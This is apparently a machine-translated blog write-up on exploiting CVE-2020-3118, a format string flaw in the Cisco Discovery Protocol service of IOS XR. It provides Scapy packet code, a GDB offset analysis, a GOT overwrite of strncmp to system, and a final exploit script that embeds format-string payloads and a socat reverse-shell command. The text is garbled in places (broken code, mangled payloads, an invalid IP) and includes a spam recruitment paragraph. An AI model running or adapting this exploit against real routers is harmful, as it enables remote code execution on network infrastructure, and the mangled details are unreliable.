This defect exists in Cisco Discovery Protocol for Cisco IOS XR software and may cause attacks by hackers.

“The vulnerability was caused by incorrect validation of field string input in Cisco Discovery Protocol. Hackers could exploit the vulnerability by sending malicious Cisco Discovery Protocol packets to affected devices.” “A successfully exploited vulnerability can cause a stack overflow, allowing an attacker to execute arbitrary code.”

Cisco experts point out that other hackers could also exploit the flaw. The US National Security Agency (NSA) claims it is among the top 25 vulnerabilities. The IOS XR network operating system runs Cisco routers including the NCS 540 560, NCS 5500, 8000, and ASR 9000 families. The vulnerability also affects third-party white box routers and Cisco products that have Cisco Discovery Protocol enabled, at least worldwide. Cisco resolved the CVE-2020-3118 vulnerability in February 2020 to track four other serious problems with CDPwn.

2.1 Experimental tools IDA 7.5, Xshell, GDBServer, GDB.

2.2 Software Environment XR simulator, Kali VIRTUAL machine.

3.1 Vulnerability triggering and FMT Principle Analysis This vulnerability is a format string vulnerability caused by three consecutive calls to SNprintf in the same function. The vulnerability point is found through IDA reverse CDP file.

An appropriate CDP packet triggering vulnerability needs to be constructed, and the CDP protocol format is as follows:

The Scapy library provides an API for constructing CDP packets. Each field constructs part of the content and sends it to identify vulnerability points.

from scapy.contrib import cdp from scapy.all import Ether, LLC, SNAP from scapy.all import * # link layer l2_packet = Ether(dst="01:00:0c:cc:cc:cc") # Logical-Link Control l2_packet /=  LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03) / SNAP() # Cisco Discovery Protocol cdp_v2 = cdp.CDPv2_HDR(vers=2, ttl=180) deviceid = cdp.CDPMsgDeviceID(val=b"A"*10) portid = cdp.CDPMsgPortID(iface=b"B"*10) version = cdp.CDPMsgSoftwareVersion(val=b"C"*10) platform = cdp.CDPMsgPlatform(val=b"D"*10) domain = cdp.CDPMsgVTPMgmtDomain(val=b"E"*10) unknown = cdp.CDPMsgUnknown19(val=b"F"*10) Address = CDP. CDPMsgAddr (naddr = 1, addr. = CDP CDPAddrRecordIPv4 (addr = "192.168.43.181")) cap. = CDP CDPMsgCapabilities (cap = 1) cdp_packet = cdp_v2/deviceid/portid/address/cap packet = l2_packet / cdp_packet sendp(packet)Copy the code

At the three addresses of snprintf, namely 0x41830F, 0x418334 and 0x418359, the breakpoint is set, and the packet composed of the above code is sent, using GDB debugging, It can be seen that the parameters of snprintf are CDPMsgPortID, CDPMsgPlatform and CDPMsgVTPMgmtDomain.

In 64-bit programs, the first six arguments are stored in registers and appear on the stack from the seventh argument. Format is the third argument to the snprintf function, so send the “%4$p” command to resolve the fourth argument address relative to format, which is the seventh argument address of snprintf.Enter n in GDB step to check memory, convert to ASCII code, you can find that the 7th parameter is the value stored at the top of the stack.0x7ffFBCA39d60 is offset by 0x90 relative to the top 0x7ffFBCA39CD0. 64-bit programs take 8 bits for each argument, so 0x7FFFBCA39d60 is the 22nd argument address relative to format, or the 25th argument address of snprintf. This allows arbitrary memory writes.

3.2 Vulnerability Exploitation The idea is to change the got table address of STRNCMP function to the address of system function for remote code execution.

The address of the system function is 0x399480ffA0, and the address of the STRNCMP function is 0x3994481a70. Only the last six bits (3 bytes) differ between the two addresses. The address of the GOT table of STRNCMP is 0x622530.

Construct payload, payload1 writes the offset address of STRNCMP (6432048 is 0x622530 in decimal format).

Payload2 writes 0xFFA0 to the stack space 0x7ffFBCA39d60, overwriting 1a70 of the last two bytes of the STRNCMP offset table. Since a total of 3 bytes need to be modified, 2 bytes have been modified, and 1 byte needs to be modified. Therefore, in order to ensure the continuity of write stack space, the next write should start from 6432048+2. 65440 (0xFFA0) has already been written, so the last part of Payload2 should be 6366610 (6432048+2-65440).

The value of payload3 is 128 (0x80).

payload1 = %6432048c%4
n p a y l o a d 2 = n payload2 = %65440c%22
hn%6366610c%4
n p a y l o a d 3 = n payload3 = %128c%22
HHN Enters payload to debug the router. After executing the first snprintf, payload1 writes the global offset table address to the stack.Execute the second snprintf and type payload2. The top store pointer points to 0x622532, and the last two bytes of the STRNCMP got table pointing to the address have been modified.

After executing the third snprintf, you can see that STRNCMP’s GOT table has been modified to point to the system function.

After the breakpoint is executed at 0x399480FFA0, all parameters are found to be A, which is controlled by CDPMsgDeviceID in the program of constructing CDP package.

Use the socat command to set the corresponding port listening in Kali, and finally the shell can be bounced.

The comparison with the CDP process ID in XR shows that the vulnerability is exploited successfully.

2. Incredibly, I am an infiltration worker, operating under the bug all the year around, you can apply to add to, say, any problem you encounter during the study, you can apply to add to, my Sterile, incredibly: 603, 916, 224, there are more network security videos, kits, books, emergency response notes waiting for you, click here

Exp is shown as follows:

from scapy.contrib import cdp from scapy.all import Ether, LLC, SNAP from scapy.all import * # link layer l2_packet = Ether(dst="01:00:0c:cc:cc:cc") # Logical-Link Control l2_packet /=  LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03) / SNAP() # Cisco Discovery Protocol cdp_v2 = cdp.CDPv2_HDR(vers=2, ttl=180) deviceid = cdp.CDPMsgDeviceID(val=b"socat exec:'bash -li',pty,stderr,setsid,sigint,sane TCP: 192.168.43.1400:1234 ") portid = CDP.CDPMsgPortID(iface=b"% 6432048C %4$n") version = cdp.CDPMsgSoftwareVersion(val=b"C"*10) platform = cdp.CDPMsgPlatform(val=b"%65440c%22$hn%6366610c%4$n") domain = cdp.CDPMsgVTPMgmtDomain(val=b"%128c%22$hhn") unknown = cdp.CDPMsgUnknown19(val=b"F"*10) Address = CDP. CDPMsgAddr (naddr = 1, addr. = CDP CDPAddrRecordIPv4 (addr = "192.168.43.181")) cap. = CDP CDPMsgCapabilities (cap = 1) cdp_packet = cdp_v2/deviceid/portid/version/platform/domain/unknown/address/cap packet = l2_packet / cdp_packet sendp(packet)Copy the code